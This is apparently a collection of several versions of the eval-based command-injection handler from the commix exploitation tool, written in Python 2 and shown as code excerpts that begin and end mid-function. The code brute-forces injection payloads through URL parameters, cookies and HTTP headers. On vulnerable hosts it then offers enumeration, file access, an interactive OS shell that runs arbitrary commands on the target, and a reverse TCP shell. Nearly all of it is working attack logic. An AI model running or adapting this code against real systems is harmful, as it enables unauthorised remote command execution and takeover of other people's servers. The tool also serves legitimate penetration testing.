                                #payload = payload + TAG + ""

                            # Whitespace fixation
                            payload = re.sub(" ", whitespace, payload)

                            if settings.TAMPER_SCRIPTS['base64encode']:
                                from src.core.tamper import base64encode
                                payload = base64encode.encode(payload)
                            else:
                                payload = re.sub(" ", "%20", payload)

                            # Check if defined "--verbose" option.
                            if settings.VERBOSITY_LEVEL >= 1:
                                sys.stdout.write(
                                    "\n" + settings.print_payload(payload))

                            # Cookie Injection
                            if settings.COOKIE_INJECTION == True:
                                # Check if target host is vulnerable to cookie injection.
                                vuln_parameter = parameters.specify_cookie_parameter(
                                    menu.options.cookie)
                                response = eb_injector.cookie_injection_test(
                                    url, vuln_parameter, payload)

                            # User-Agent Injection
                            elif settings.USER_AGENT_INJECTION == True:
                                # Check if target host is vulnerable to user-agent injection.
                                vuln_parameter = parameters.specify_user_agent_parameter(
                                    menu.options.agent)
                                response = eb_injector.user_agent_injection_test(
                                    url, vuln_parameter, payload)

                            # Referer Injection
                            elif settings.REFERER_INJECTION == True:
                                # Check if target host is vulnerable to referer injection.
                                vuln_parameter = parameters.specify_referer_parameter(
                                    menu.options.referer)
                                response = eb_injector.referer_injection_test(
                                    url, vuln_parameter, payload)

                            # Custom HTTP header Injection
                            elif settings.CUSTOM_HEADER_INJECTION == True:
                                # Check if target host is vulnerable to custom http header injection.
                                vuln_parameter = parameters.specify_custom_header_parameter(
                                    settings.INJECT_TAG)
                                response = eb_injector.custom_header_injection_test(
                                    url, vuln_parameter, payload)

                            else:
                                found_cookie_injection = False
                                # Check if target host is vulnerable.
                                response, vuln_parameter = eb_injector.injection_test(
                                    payload, http_request_method, url)

                            # Try target page reload (if it is required).
                            if settings.URL_RELOAD:
                                response = requests.url_reload(url, delay)
                            # Evaluate test results.
                            shell = eb_injector.injection_test_results(
                                response, TAG, randvcalc)

                            if not settings.VERBOSITY_LEVEL >= 1:
                                percent = ((i * 100) / total)
                                float_percent = "{0:.1f}".format(
                                    round(((i * 100) / (total * 1.0)), 2))

                                if shell == False:
                                    info_msg = "Testing the " + technique + "... " + "[ " + float_percent + "%" + " ]"
                                    sys.stdout.write(
                                        "\r" +
                                        settings.print_info_msg(info_msg))
                                    sys.stdout.flush()

                                if str(float_percent) == "100.0":
                                    if no_result == True:
                                        percent = Fore.RED + "FAILED" + Style.RESET_ALL
                                    else:
                                        percent = str(float_percent) + "%"
                                elif len(shell) != 0:
                                    percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                                else:
                                    percent = str(float_percent) + "%"

                                info_msg = "Testing the " + technique + "... " + "[ " + percent + " ]"
                                sys.stdout.write(
                                    "\r" + settings.print_info_msg(info_msg))
                                sys.stdout.flush()

                        except KeyboardInterrupt:
                            raise

                        except SystemExit:
                            raise

                        except:
                            continue

                    # Yaw, got shellz!
                    # Do some magic tricks!
                    if shell:
                        found = True
                        no_result = False

                        if settings.COOKIE_INJECTION == True:
                            header_name = " cookie"
                            found_vuln_parameter = vuln_parameter
                            the_type = " parameter"

                        elif settings.USER_AGENT_INJECTION == True:
                            header_name = " User-Agent"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.REFERER_INJECTION == True:
                            header_name = " Referer"
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        elif settings.CUSTOM_HEADER_INJECTION == True:
                            header_name = " " + settings.CUSTOM_HEADER_NAME
                            found_vuln_parameter = ""
                            the_type = " HTTP header"

                        else:
                            header_name = ""
                            the_type = " parameter"
                            if http_request_method == "GET":
                                found_vuln_parameter = parameters.vuln_GET_param(
                                    url)
                            else:
                                found_vuln_parameter = vuln_parameter

                        if len(found_vuln_parameter) != 0:
                            found_vuln_parameter = " '" + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                        # Print the findings to log file.
                        if export_injection_info == False:
                            export_injection_info = logs.add_type_and_technique(
                                export_injection_info, filename,
                                injection_type, technique)
                        if vp_flag == True:
                            vp_flag = logs.add_parameter(
                                vp_flag, filename, the_type, header_name,
                                http_request_method, vuln_parameter, payload)
                        logs.update_payload(filename, counter, payload)
                        counter = counter + 1

                        if not settings.LOAD_SESSION:
                            print ""

                        # Print the findings to terminal.
                        success_msg = "The"
                        if found_vuln_parameter == " ":
                            success_msg += http_request_method + ""
                        success_msg += the_type + header_name
                        success_msg += found_vuln_parameter + " seems injectable via "
                        success_msg += "(" + injection_type.split(
                            " ")[0] + ") " + technique + "."
                        print settings.print_success_msg(success_msg)
                        print settings.SUB_CONTENT_SIGN + "Payload: " + re.sub(
                            "%20", " ", payload) + Style.RESET_ALL
                        # Export session
                        if not settings.LOAD_SESSION:
                            session_handler.injection_point_importation(
                                url,
                                technique,
                                injection_type,
                                separator,
                                shell[0],
                                vuln_parameter,
                                prefix,
                                suffix,
                                TAG,
                                alter_shell,
                                payload,
                                http_request_method,
                                url_time_response=0,
                                delay=0,
                                how_long=0,
                                output_length=0,
                                is_vulnerable=menu.options.level)
                        else:
                            whitespace = settings.WHITESPACE[0]
                            settings.LOAD_SESSION = False

                        # Check for any enumeration options.
                        if settings.ENUMERATION_DONE == True:
                            while True:
                                question_msg = "Do you want to enumerate again? [Y/n/q] > "
                                enumerate_again = raw_input(
                                    "\n" +
                                    settings.print_question_msg(question_msg)
                                ).lower()
                                if enumerate_again in settings.CHOICE_YES:
                                    eb_enumeration.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif enumerate_again in settings.CHOICE_NO:
                                    break
                                elif enumerate_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if enumerate_again == "":
                                        enumerate_again = "enter"
                                    err_msg = "'" + enumerate_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass

                        else:
                            if menu.enumeration_options():
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)

                        if not menu.file_access_options(
                        ) and not menu.options.os_cmd:
                            print ""

                        # Check for any system file access options.
                        if settings.FILE_ACCESS_DONE == True:
                            if settings.ENUMERATION_DONE != True:
                                print ""
                            while True:
                                question_msg = "Do you want to access files again? [Y/n/q] > "
                                sys.stdout.write(
                                    settings.print_question_msg(question_msg))
                                file_access_again = sys.stdin.readline(
                                ).replace("\n", "").lower()
                                if file_access_again in settings.CHOICE_YES:
                                    eb_file_access.do_check(
                                        separator, TAG, prefix, suffix,
                                        whitespace, http_request_method, url,
                                        vuln_parameter, alter_shell, filename,
                                        delay)
                                    print ""
                                    break
                                elif file_access_again in settings.CHOICE_NO:
                                    break
                                elif file_access_again in settings.CHOICE_QUIT:
                                    sys.exit(0)
                                else:
                                    if file_access_again == "":
                                        file_access_again = "enter"
                                    err_msg = "'" + file_access_again + "' is not a valid answer."
                                    print settings.print_error_msg(err_msg)
                                    pass
                        else:
                            if menu.file_access_options():
                                if not menu.enumeration_options():
                                    print ""
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix, whitespace,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename, delay)
                                print ""

                        # Check if defined single cmd.
                        if menu.options.os_cmd:
                            if not menu.file_access_options():
                                print ""
                            eb_enumeration.single_os_cmd_exec(
                                separator, TAG, prefix, suffix, whitespace,
                                http_request_method, url, vuln_parameter,
                                alter_shell, filename, delay)

                        # Pseudo-Terminal shell
                        go_back = False
                        go_back_again = False
                        while True:
                            if go_back == True:
                                break
                            question_msg = "Do you want a Pseudo-Terminal? [Y/n/q] > "
                            sys.stdout.write(
                                settings.print_question_msg(question_msg))
                            gotshell = sys.stdin.readline().replace(
                                "\n", "").lower()
                            if gotshell in settings.CHOICE_YES:
                                print ""
                                print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                                if readline_error:
                                    checks.no_readline_module()
                                while True:
                                    try:
                                        # Tab compliter
                                        if not readline_error:
                                            readline.set_completer(
                                                menu.tab_completer)
                                            # MacOSX tab compliter
                                            if getattr(
                                                    readline, '__doc__', ''
                                            ) is not None and 'libedit' in getattr(
                                                    readline, '__doc__', ''):
                                                readline.parse_and_bind(
                                                    "bind ^I rl_complete")
                                            # Unix tab compliter
                                            else:
                                                readline.parse_and_bind(
                                                    "tab: complete")
                                        cmd = raw_input("""commix(""" +
                                                        Style.BRIGHT +
                                                        Fore.RED +
                                                        """os_shell""" +
                                                        Style.RESET_ALL +
                                                        """) > """)
                                        cmd = checks.escaped_cmd(cmd)
                                        # if settings.VERBOSITY_LEVEL >= 1:
                                        #   print ""
                                        if cmd.lower(
                                        ) in settings.SHELL_OPTIONS:
                                            os_shell_option = checks.check_os_shell_options(
                                                cmd.lower(), technique,
                                                go_back, no_result)
                                            if os_shell_option == False:
                                                if no_result == True:
                                                    return False
                                                else:
                                                    return True
                                            elif os_shell_option == "quit":
                                                sys.exit(0)
                                            elif os_shell_option == "back":
                                                go_back = True
                                                break
                                            elif os_shell_option == "os_shell":
                                                warn_msg = "You are already into an 'os_shell' mode."
                                                print settings.print_warning_msg(
                                                    warn_msg) + "\n"
                                            elif os_shell_option == "reverse_tcp":
                                                settings.REVERSE_TCP = True
                                                # Set up LHOST / LPORT for The reverse TCP connection.
                                                reverse_tcp.configure_reverse_tcp(
                                                )
                                                if settings.REVERSE_TCP == False:
                                                    continue
                                                while True:
                                                    if settings.LHOST and settings.LPORT in settings.SHELL_OPTIONS:
                                                        result = checks.check_reverse_tcp_options(
                                                            settings.LHOST)
                                                    else:
                                                        cmd = reverse_tcp.reverse_tcp_options(
                                                        )
                                                        result = checks.check_reverse_tcp_options(
                                                            cmd)
                                                    if result != None:
                                                        if result == 0:
                                                            return False
                                                        elif result == 1 or result == 2:
                                                            go_back_again = True
                                                            settings.REVERSE_TCP = False
                                                            break
                                                    # Command execution results.
                                                    response = eb_injector.injection(
                                                        separator, TAG, cmd,
                                                        prefix, suffix,
                                                        whitespace,
                                                        http_request_method,
                                                        url, vuln_parameter,
                                                        alter_shell, filename)
                                                    # Evaluate injection results.
                                                    shell = eb_injector.injection_results(
                                                        response, TAG, cmd)
                                                    if settings.VERBOSITY_LEVEL >= 1:
                                                        print ""
                                                    err_msg = "The reverse TCP connection has failed!"
                                                    print settings.print_critical_msg(
                                                        err_msg)
                                            else:
                                                pass

                                        else:
                                            # The main command injection exploitation.
                                            response = eb_injector.injection(
                                                separator, TAG, cmd, prefix,
                                                suffix, whitespace,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)
                                            # Try target page reload (if it is required).
                                            if settings.URL_RELOAD:
                                                response = requests.url_reload(
                                                    url, delay)
                                            if menu.options.ignore_session or\
                                               session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None:
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG, cmd)
                                                shell = "".join(
                                                    str(p)
                                                    for p in shell).replace(
                                                        " ", "", 1)
                                                if not menu.options.ignore_session:
                                                    session_handler.store_cmd(
                                                        url, cmd, shell,
                                                        vuln_parameter)
                                            else:
                                                shell = session_handler.export_stored_cmd(
                                                    url, cmd, vuln_parameter)

                                            #if shell:
                                            if shell != "":
                                                shell = "".join(
                                                    str(p) for p in shell)
                                                # if settings.VERBOSITY_LEVEL >= 1:
                                                #   print ""
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                err_msg = "The '" + cmd + "' command, does not return any output."
                                                print settings.print_critical_msg(
                                                    err_msg) + "\n"

                                    except KeyboardInterrupt:
                                        raise

                                    except SystemExit:
                                        raise

                            elif gotshell in settings.CHOICE_NO:
                                if checks.next_attack_vector(
                                        technique, go_back) == True:
                                    break
                                else:
                                    if no_result == True:
                                        return False
                                    else:
                                        return True

                            elif gotshell in settings.CHOICE_QUIT:
                                sys.exit(0)

                            else:
                                if gotshell == "":
                                    gotshell = "enter"
                                err_msg = "'" + gotshell + "' is not a valid answer."
                                print settings.print_error_msg(err_msg)
                                pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Example #4
0
def eb_injection_handler(url, delay, filename, http_request_method):

    counter = 1
    vp_flag = True
    no_result = True
    export_injection_info = False
    injection_type = "Results-based Command Injection"
    technique = "eval-based code injection technique"

    for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
        settings.EXECUTION_FUNCTIONS[
            item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
    settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

    url = eb_injector.warning_detection(url, http_request_method)

    sys.stdout.write("(*) Testing the " + technique + "... ")
    sys.stdout.flush()

    i = 0
    # Calculate all possible combinations
    total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(
        settings.EVAL_SUFFIXES)

    for prefix in settings.EVAL_PREFIXES:
        for suffix in settings.EVAL_SUFFIXES:
            for separator in settings.EVAL_SEPARATORS:
                i = i + 1

                # Check for bad combination of prefix and separator
                combination = prefix + separator
                if combination in settings.JUNK_COMBINATION:
                    prefix = ""

                # Change TAG on every request to prevent false-positive results.
                TAG = ''.join(
                    random.choice(string.ascii_uppercase) for i in range(6))

                randv1 = random.randrange(100)
                randv2 = random.randrange(100)
                randvcalc = randv1 + randv2

                # Define alter shell
                alter_shell = menu.options.alter_shell

                try:
                    if alter_shell:
                        # Classic -alter shell- decision payload (check if host is vulnerable).
                        payload = eb_payloads.decision_alter_shell(
                            separator, TAG, randv1, randv2)
                    else:
                        # Classic decision payload (check if host is vulnerable).
                        payload = eb_payloads.decision(separator, TAG, randv1,
                                                       randv2)

                    suffix = urllib.quote(suffix)
                    # Fix prefixes / suffixes
                    payload = parameters.prefixes(payload, prefix)
                    payload = parameters.suffixes(payload, suffix)
                    # Fixation for specific payload.
                    if ")%3B" + urllib.quote(")}") in payload:
                        payload = payload.replace(")%3B" + urllib.quote(")}"),
                                                  ")" + urllib.quote(")}"))
                    payload = payload + TAG + ""

                    if menu.options.base64:
                        payload = urllib.unquote(payload)
                        payload = base64.b64encode(payload)
                    else:
                        payload = re.sub(" ", "%20", payload)

                    # Check if defined "--verbose" option.
                    if menu.options.verbose:
                        sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " +
                                         payload + Style.RESET_ALL)

                    # Cookie Injection
                    if settings.COOKIE_INJECTION == True:
                        # Check if target host is vulnerable to cookie injection.
                        vuln_parameter = parameters.specify_cookie_parameter(
                            menu.options.cookie)
                        response = eb_injector.cookie_injection_test(
                            url, vuln_parameter, payload)

                    # User-Agent Injection
                    elif settings.USER_AGENT_INJECTION == True:
                        # Check if target host is vulnerable to user-agent injection.
                        vuln_parameter = parameters.specify_user_agent_parameter(
                            menu.options.agent)
                        response = eb_injector.user_agent_injection_test(
                            url, vuln_parameter, payload)

                    # Referer Injection
                    elif settings.REFERER_INJECTION == True:
                        # Check if target host is vulnerable to referer injection.
                        vuln_parameter = parameters.specify_referer_parameter(
                            menu.options.referer)
                        response = eb_injector.referer_injection_test(
                            url, vuln_parameter, payload)

                    else:
                        found_cookie_injection = False
                        # Check if target host is vulnerable.
                        response, vuln_parameter = eb_injector.injection_test(
                            payload, http_request_method, url)

                    # if need page reload
                    if menu.options.url_reload:
                        time.sleep(delay)
                        response = urllib.urlopen(url)

                    # Evaluate test results.
                    shell = eb_injector.injection_test_results(
                        response, TAG, randvcalc)

                    if not menu.options.verbose:
                        percent = ((i * 100) / total)
                        float_percent = "{0:.1f}".format(
                            round(((i * 100) / (total * 1.0)), 2))

                        if shell == False:
                            sys.stdout.write("\r(*) Testing the " + technique +
                                             "... " + "[ " + float_percent +
                                             "%" + " ]")
                            sys.stdout.flush()

                        if str(float_percent) == "100.0":
                            if no_result == True:
                                percent = Fore.RED + "FAILED" + Style.RESET_ALL
                            else:
                                percent = str(float_percent) + "%"
                        elif len(shell) != 0:
                            percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
                        else:
                            percent = str(float_percent) + "%"

                        sys.stdout.write("\r(*) Testing the " + technique +
                                         "... " + "[ " + percent + " ]")
                        sys.stdout.flush()

                except KeyboardInterrupt:
                    raise

                except SystemExit:
                    raise

                except:
                    continue

                # Yaw, got shellz!
                # Do some magic tricks!
                if shell:
                    found = True
                    no_result = False

                    if settings.COOKIE_INJECTION == True:
                        header_name = " Cookie"
                        found_vuln_parameter = vuln_parameter
                        the_type = " HTTP header"

                    elif settings.USER_AGENT_INJECTION == True:
                        header_name = " User-Agent"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    elif settings.REFERER_INJECTION == True:
                        header_name = " Referer"
                        found_vuln_parameter = ""
                        the_type = " HTTP header"

                    else:
                        header_name = ""
                        the_type = " parameter"
                        if http_request_method == "GET":
                            found_vuln_parameter = parameters.vuln_GET_param(
                                url)
                        else:
                            found_vuln_parameter = vuln_parameter

                    if len(found_vuln_parameter) != 0:
                        found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL + Style.BRIGHT + "'"

                    # Print the findings to log file.
                    if export_injection_info == False:
                        export_injection_info = logs.add_type_and_technique(
                            export_injection_info, filename, injection_type,
                            technique)
                    if vp_flag == True:
                        vp_flag = logs.add_parameter(vp_flag, filename,
                                                     http_request_method,
                                                     vuln_parameter, payload)
                    logs.update_payload(filename, counter, payload)
                    counter = counter + 1

                    # Print the findings to terminal.
                    print Style.BRIGHT + "\n(!) The (" + http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to " + injection_type + "." + Style.RESET_ALL
                    print "  (+) Type : " + Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
                    print "  (+) Technique : " + Fore.YELLOW + Style.BRIGHT + technique.title(
                    ) + Style.RESET_ALL + ""
                    print "  (+) Payload : " + Fore.YELLOW + Style.BRIGHT + re.sub(
                        "%20", " ", payload) + Style.RESET_ALL

                    # Check for any enumeration options.
                    if settings.ENUMERATION_DONE == True:
                        while True:
                            enumerate_again = raw_input(
                                "\n(?) Do you want to enumerate again? [Y/n/q] > "
                            ).lower()
                            if enumerate_again in settings.CHOISE_YES:
                                eb_enumeration.do_check(
                                    separator, TAG, prefix, suffix,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                break
                            elif enumerate_again in settings.CHOISE_NO:
                                break
                            elif enumerate_again in settings.CHOISE_QUIT:
                                sys.exit(0)
                            else:
                                if enumerate_again == "":
                                    enumerate_again = "enter"
                                print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass

                    else:
                        eb_enumeration.do_check(separator, TAG, prefix, suffix,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                    # Check for any system file access options.
                    if settings.FILE_ACCESS_DONE == True:
                        while True:
                            file_access_again = raw_input(
                                "(?) Do you want to access files again? [Y/n/q] > "
                            ).lower()
                            if file_access_again in settings.CHOISE_YES:
                                if not menu.options.verbose:
                                    print ""
                                eb_file_access.do_check(
                                    separator, TAG, prefix, suffix,
                                    http_request_method, url, vuln_parameter,
                                    alter_shell, filename)
                                break
                            elif file_access_again in settings.CHOISE_NO:
                                break
                            elif file_access_again in settings.CHOISE_QUIT:
                                sys.exit(0)
                            else:
                                if file_access_again == "":
                                    file_access_again = "enter"
                                print Back.RED + "(x) Error: '" + file_access_again + "' is not a valid answer." + Style.RESET_ALL + "\n"
                                pass
                    else:
                        eb_file_access.do_check(separator, TAG, prefix, suffix,
                                                http_request_method, url,
                                                vuln_parameter, alter_shell,
                                                filename)

                    # Check if defined single cmd.
                    if menu.options.os_cmd:
                        eb_enumeration.single_os_cmd_exec(
                            separator, TAG, prefix, suffix,
                            http_request_method, url, vuln_parameter,
                            alter_shell, filename)

                    # Pseudo-Terminal shell
                    go_back = False
                    go_back_again = False
                    while True:
                        if go_back == True:
                            break
                        gotshell = raw_input(
                            "(?) Do you want a Pseudo-Terminal? [Y/n/q] > "
                        ).lower()
                        if gotshell in settings.CHOISE_YES:
                            print ""
                            print "Pseudo-Terminal (type '" + Style.BRIGHT + "?" + Style.RESET_ALL + "' for available options)"
                            if readline_error:
                                checks.no_readline_module()
                            while True:
                                try:
                                    # Tab compliter
                                    if not readline_error:
                                        readline.set_completer(
                                            menu.tab_completer)
                                        # MacOSX tab compliter
                                        if getattr(
                                                readline, '__doc__', ''
                                        ) is not None and 'libedit' in getattr(
                                                readline, '__doc__', ''):
                                            readline.parse_and_bind(
                                                "bind ^I rl_complete")
                                        # Unix tab compliter
                                        else:
                                            readline.parse_and_bind(
                                                "tab: complete")
                                    cmd = raw_input("""commix(""" +
                                                    Style.BRIGHT + Fore.RED +
                                                    """os_shell""" +
                                                    Style.RESET_ALL +
                                                    """) > """)
                                    cmd = checks.escaped_cmd(cmd)
                                    if cmd.lower() in settings.SHELL_OPTIONS:
                                        os_shell_option = checks.check_os_shell_options(
                                            cmd.lower(), technique, go_back,
                                            no_result)
                                        if os_shell_option == False:
                                            if no_result == True:
                                                return False
                                            else:
                                                return True
                                        elif os_shell_option == "quit":
                                            sys.exit(0)
                                        elif os_shell_option == "back":
                                            go_back = True
                                            break
                                        elif os_shell_option == "os_shell":
                                            print Fore.YELLOW + "(^) Warning: You are already into an 'os_shell' mode." + Style.RESET_ALL + "\n"
                                        elif os_shell_option == "reverse_tcp":
                                            settings.REVERSE_TCP = True
                                            # Set up LHOST / LPORT for The reverse TCP connection.
                                            lhost, lport = reverse_tcp.configure_reverse_tcp(
                                            )
                                            while True:
                                                if lhost and lport in settings.SHELL_OPTIONS:
                                                    result = checks.check_reverse_tcp_options(
                                                        lhost)
                                                else:
                                                    cmd = reverse_tcp.reverse_tcp_options(
                                                        lhost, lport)
                                                    result = checks.check_reverse_tcp_options(
                                                        cmd)
                                                if result != None:
                                                    if result == 0:
                                                        return False
                                                    elif result == 1 or result == 2:
                                                        settings.REVERSE_TCP = False
                                                        go_back_again = True
                                                        break
                                                # Command execution results.
                                                response = eb_injector.injection(
                                                    separator, TAG, cmd,
                                                    prefix, suffix,
                                                    http_request_method, url,
                                                    vuln_parameter,
                                                    alter_shell, filename)
                                                # Evaluate injection results.
                                                shell = eb_injector.injection_results(
                                                    response, TAG)
                                                print shell
                                                if menu.options.verbose:
                                                    print ""
                                                print Back.RED + "(x) Error: The reverse TCP connection has been failed!" + Style.RESET_ALL
                                        else:
                                            pass

                                    else:
                                        # The main command injection exploitation.
                                        response = eb_injector.injection(
                                            separator, TAG, cmd, prefix,
                                            suffix, http_request_method, url,
                                            vuln_parameter, alter_shell,
                                            filename)

                                        # if need page reload
                                        if menu.options.url_reload:
                                            time.sleep(delay)
                                            response = urllib.urlopen(url)

                                        # Command execution results.
                                        shell = eb_injector.injection_results(
                                            response, TAG)
                                        if shell:
                                            shell = "".join(
                                                str(p) for p in shell).replace(
                                                    " ", "", 1)[:-1]
                                            if shell != "":
                                                print "\n" + Fore.GREEN + Style.BRIGHT + shell + Style.RESET_ALL + "\n"
                                            else:
                                                print Back.RED + "(x) Error: The '" + cmd + "' command, does not return any output." + Style.RESET_ALL + "\n"

                                except KeyboardInterrupt:
                                    raise

                                except SystemExit:
                                    raise

                        elif gotshell in settings.CHOISE_NO:
                            if checks.next_attack_vector(technique,
                                                         go_back) == True:
                                break
                            else:
                                if no_result == True:
                                    return False
                                else:
                                    return True

                        elif gotshell in settings.CHOISE_QUIT:
                            sys.exit(0)

                        else:
                            if gotshell == "":
                                gotshell = "enter"
                            print Back.RED + "(x) Error: '" + gotshell + "' is not a valid answer." + Style.RESET_ALL + "\n"
                            pass

    if no_result == True:
        print ""
        return False

    else:
        sys.stdout.write("\r")
        sys.stdout.flush()
Example #5
0
def eb_injection_handler(url, delay, filename, http_request_method):
  
  counter = 1
  vp_flag = True
  no_result = True
  export_injection_info = False
  injection_type = "Results-based Command Injection"
  technique = "eval-based injection technique"

  for item in range(0, len(settings.EXECUTION_FUNCTIONS)):
    settings.EXECUTION_FUNCTIONS[item] = "${" + settings.EXECUTION_FUNCTIONS[item] + "("
  settings.EVAL_PREFIXES = settings.EVAL_PREFIXES + settings.EXECUTION_FUNCTIONS

  url = eb_injector.warning_detection(url, http_request_method)

  sys.stdout.write("(*) Testing the "+ technique + "... ")
  sys.stdout.flush()

  i = 0
  # Calculate all possible combinations
  total = len(settings.EVAL_PREFIXES) * len(settings.EVAL_SEPARATORS) * len(settings.EVAL_SUFFIXES)
  
  for prefix in settings.EVAL_PREFIXES:
    for suffix in settings.EVAL_SUFFIXES:
      for separator in settings.EVAL_SEPARATORS:
        i = i + 1
        
        # Check for bad combination of prefix and separator
        combination = prefix + separator
        if combination in settings.JUNK_COMBINATION:
          prefix = ""

        # Change TAG on every request to prevent false-positive results.
        TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6))

        randv1 = random.randrange(100)
        randv2 = random.randrange(100)
        randvcalc = randv1 + randv2

        try:
          # Eval-based decision payload (check if host is vulnerable).
          payload = eb_payloads.decision(separator, TAG, randv1, randv2)
          suffix = urllib.quote(suffix)

          # Fix prefixes / suffixes
          payload = parameters.prefixes(payload, prefix)
          payload = parameters.suffixes(payload, suffix)
          # Fixation for specific payload.
          if ")%3B" + urllib.quote(")}") in payload:
            payload = payload.replace(")%3B" + urllib.quote(")}"), ")" + urllib.quote(")}"))
          payload = payload + "" + TAG + ""

          if menu.options.base64:
            payload = urllib.unquote(payload)
            payload = base64.b64encode(payload)
          else:
            payload = re.sub(" ", "%20", payload)


          # Check if defined "--verbose" option.
          if menu.options.verbose:
            sys.stdout.write("\n" + Fore.GREY + "(~) Payload: " + payload + Style.RESET_ALL)

          # Cookie Injection
          if settings.COOKIE_INJECTION == True:
            # Check if target host is vulnerable to cookie injection.
            vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie)
            response = eb_injector.cookie_injection_test(url, vuln_parameter, payload)

          # User-Agent Injection
          elif settings.USER_AGENT_INJECTION == True:
            # Check if target host is vulnerable to user-agent injection.
            vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent)
            response = eb_injector.user_agent_injection_test(url, vuln_parameter, payload)

          # Referer Injection
          elif settings.REFERER_INJECTION == True:
            # Check if target host is vulnerable to referer injection.
            vuln_parameter = parameters.specify_referer_parameter(menu.options.referer)
            response = eb_injector.referer_injection_test(url, vuln_parameter, payload)

          else:
            found_cookie_injection = False
            # Check if target host is vulnerable.
            response, vuln_parameter = eb_injector.injection_test(payload, http_request_method, url)
  
          # if need page reload
          if menu.options.url_reload: 
            time.sleep(delay)
            response = urllib.urlopen(url)
            
          # Evaluate test results.
          shell = eb_injector.injection_test_results(response, TAG, randvcalc)
          if not menu.options.verbose:
            percent = ((i*100)/total)
            float_percent = "{0:.1f}".format(round(((i*100)/(total * 1.0)),2))

            if percent == 100:
              if no_result == True:
                percent = Fore.RED + "FAILED" + Style.RESET_ALL
              else:
                percent = str(float_percent)+"%"
            elif len(shell) != 0:
              percent = Fore.GREEN + "SUCCEED" + Style.RESET_ALL
            else:
              percent = str(float_percent)+"%"
            sys.stdout.write("\r(*) Testing the "+ technique + "... " +  "[ " + percent + " ]")  
            sys.stdout.flush()
            
        except KeyboardInterrupt: 
          raise
          
        except:
          continue
        
        # Yaw, got shellz! 
        # Do some magic tricks!
        if shell:
          found = True
          no_result = False

          if settings.COOKIE_INJECTION == True: 
            header_name = " Cookie"
            found_vuln_parameter = vuln_parameter
            the_type = " HTTP header"

          elif settings.USER_AGENT_INJECTION == True: 
            header_name = " User-Agent"
            found_vuln_parameter = ""
            the_type = " HTTP header"
            
          elif settings.REFERER_INJECTION == True: 
            header_name = " Referer"
            found_vuln_parameter = ""
            the_type = " HTTP header"

          else:    
            header_name = ""
            the_type = " parameter"
            if http_request_method == "GET":
              found_vuln_parameter = parameters.vuln_GET_param(url)
            else :
              found_vuln_parameter = vuln_parameter

          if len(found_vuln_parameter) != 0 :
            found_vuln_parameter = " '" + Style.UNDERLINE + found_vuln_parameter + Style.RESET_ALL  + Style.BRIGHT + "'"

          # Print the findings to log file.
          if export_injection_info == False:
            export_injection_info = logs.add_type_and_technique(export_injection_info, filename, injection_type, technique)
          if vp_flag == True:
            vp_flag = logs.add_parameter(vp_flag, filename, http_request_method, vuln_parameter, payload)
          logs.update_payload(filename, counter, payload) 
          counter = counter + 1
          
          # Print the findings to terminal.
          print Style.BRIGHT + "\n(!) The ("+ http_request_method + ")" + found_vuln_parameter + header_name + the_type + " is vulnerable to "+ injection_type + "." + Style.RESET_ALL
          print "  (+) Type : "+ Fore.YELLOW + Style.BRIGHT + injection_type + Style.RESET_ALL + ""
          print "  (+) Technique : "+ Fore.YELLOW + Style.BRIGHT + technique.title() + Style.RESET_ALL + ""
          print "  (+) Payload : "+ Fore.YELLOW + Style.BRIGHT + re.sub("%20", " ", payload) + Style.RESET_ALL

          # Check for any enumeration options.
          if settings.ENUMERATION_DONE == True :
            while True:
              enumerate_again = raw_input("\n(?) Do you want to enumerate again? [Y/n/q] > ").lower()
              if enumerate_again in settings.CHOISE_YES:
                eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)
                break
              elif enumerate_again in settings.CHOISE_NO: 
                break
              elif enumerate_again in settings.CHOISE_QUIT:
                sys.exit(0)
              else:
                if enumerate_again == "":
                  enumerate_again = "enter"
                print Back.RED + "(x) Error: '" + enumerate_again + "' is not a valid answer." + Style.RESET_ALL
                pass

          else:
            eb_enumeration.do_check(separator, TAG, prefix, suffix, http_request_method, url, vuln_parameter, filename)

          # Check for any system file access options.
          if settings.FILE_ACCESS_DONE == True :
            while True:
              file_access_again = raw_input("(?) Do you want to access files again? [Y/n/q] > ").lower()
